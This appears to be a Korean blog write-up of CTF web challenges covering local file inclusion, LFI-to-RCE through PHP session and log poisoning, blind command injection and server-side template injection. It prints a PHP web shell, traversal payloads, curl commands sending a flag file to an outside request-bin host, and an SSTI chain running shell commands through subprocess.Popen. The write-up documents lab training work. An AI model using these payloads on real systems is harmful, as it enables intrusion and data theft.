LFI1
- 공격벡터
file inclusion 되는구나 파악
lfiflag.php는 flag를 출력해주지는 않기 때문에 code leak 하면 됨 => use php://filter
- exploit 과정
php://filter 를 이용해 base64 인코딩된 파일 컨텐츠를 가져올 수 있음
?p=php://filter/convert.base64-encode/resource=lfiflag.php 쿼리스트링으로 건네주면
PD9waHANCiRmbGFnID0gImZsYWd7eW91X25ldmVyX3NlZV90aGlzX2ZpbGUuLi53YWl0LHd1dD99Ijs=
이런 내용 출력되고
LFI2
- 공격벡터
서버의 루트 디렉터리 아래 readflag 바이너리 실행 후 그 결과 출력하면 됨
GET parameter로 받은 내용을 SESSION에 굳이 저장하는게 의심스러움
php는 기본적으로 session에 대한 파일을 서버 내에 파일로 저장함. 파일 이름은 sess_{$sessionid} 이런 규칙이고, sessionid는 쿠키의 PHPSESSION 값임
=> 세션파일이 저장되는 경로가 정해져있고, 파일 이름의 규칙도 통일되어있으므로 공격 easy
=> php 엔진이 session 사용 위해 해당 파일에 접근할 수 있어야 하므로 권한 이슈 자유로움 (proc/self/environ, access_log, error_log 등은 권한/셋팅 등의 이슈로 성공률 희박)
(rubiya 멘토님의 블로그: https://blog.rubiya.kr/index.php/2018/11/28/rce-by-lfi-using-php-session-file-without-angle-bracket/)
- exploit 과정
session 파일이 어디 저장되는지 파악 위해 로컬에서 서버환경 구축해봄. lfi2.php 코드에 약간 코드 추가해 system command 입력받게 하였다
php -i | grep session.save_path 해서 session 파일 저장 경로 확인. (default는 /tmp)
보니까 /tmp 디렉터리 밑에 sess_{SESSID} 이런 식으로 생기더라
<?php echo system($_GET["cmd"]) ?> 이런 payload를 파라미터로 넘겨 세션파일에 저장해두고, 세션 삭제 후 새로운 세션을 발급받고, ?p=../../../../../../tmp/sess_{SESSID}&cmd=/readflag 이런 식으로 세션파일을 include해서 exploit 성공
- 새로 알게 된 내용: LFI to RCE using log file
/var/log/apache2 밑에 access_log , error_log 저장된다
만약 이런 로그파일들을 LFI 할 수 있다면(읽어올 권한이 있다면) 로그 파일을 이용한 RCE가 가능함
접속 시 GET 요청을 프록시 툴로 가로채 User-Agent 부분에 php 웹쉘 코드 삽입 (Log poisoning)
그 후 access_log 파일을 include하면 조작된 로그 파일로 RCE 가능하다!!
(근데 성공률 희박쓰)
Command Injection
- 공격벡터
cmd 파라미터로 커맨드 입력받을 수 있음. 실행 결과를 확인하지는 못하므로 외부 request bin으로 요청보내 leak 하면 될 듯.
curl https://en1qs6bppt79z.x.pipedream.net/ 하니까 제대로 GET 요청 옴, curl 설치되어 있는 듯
- exploit 과정
도커파일 읽어보면 root 아래 txt 파일 있다네
curl -X POST -d "fileContent=$(cat /command_injection_flag.txt)" https://en1qs6bppt79z.x.pipedream.net/
curl -X POST -d "@/command_injection_flag.txt" https://en1qs6bppt79z.x.pipedream.net/
둘 중 하나 실행시켜서 파일내용 leak
SSTI
- 공격벡터
template injection 취약점 발생한다
?name={{ 7*7 }} 이렇게 입력하면 템플릿 엔진이 user input을 코드로 해석하고 49가 출력됨
(https://me2nuk.com/SSTI-Vulnerability/)
os.system과 같은 함수의 경우 쉘 명령어 결과를 출력할 수 없기 때문에 subprocess.Popen 클래스를 사용하여 쉘 명령어 결과를 출력한다고 함
- exploit 과정
?name= {{ ‘’.__class__.__mro__[1].__subclasses__() }}
이렇게 클래스 리스트를 쭉 출력한 후 subprocess.Popen 클래스의 index 구하면 됨. 배열에서의 인덱스는 서버 환경마다 달라짐 => 해당 서버 환경의 경우 352번째
?name={{ ''.__class__.__mro__[1].__subclasses__()[352]('cat /ssti_flag.txt',shell=True,stdout=-
1).communicate() }} 이런 식으로 payload 날리면 된다
'security > 화이트햇' 카테고리의 다른 글
네트워크 기초 (0) | 2024.01.11 |
---|---|
웹해킹 문제 - Nodejs (0) | 2024.01.09 |
Mini CTF - SQLI (0) | 2024.01.09 |
Mini CTF - XSS, DOM Clobbering (0) | 2024.01.07 |
Mini CTF - XSS, DOM Clobbering (0) | 2024.01.07 |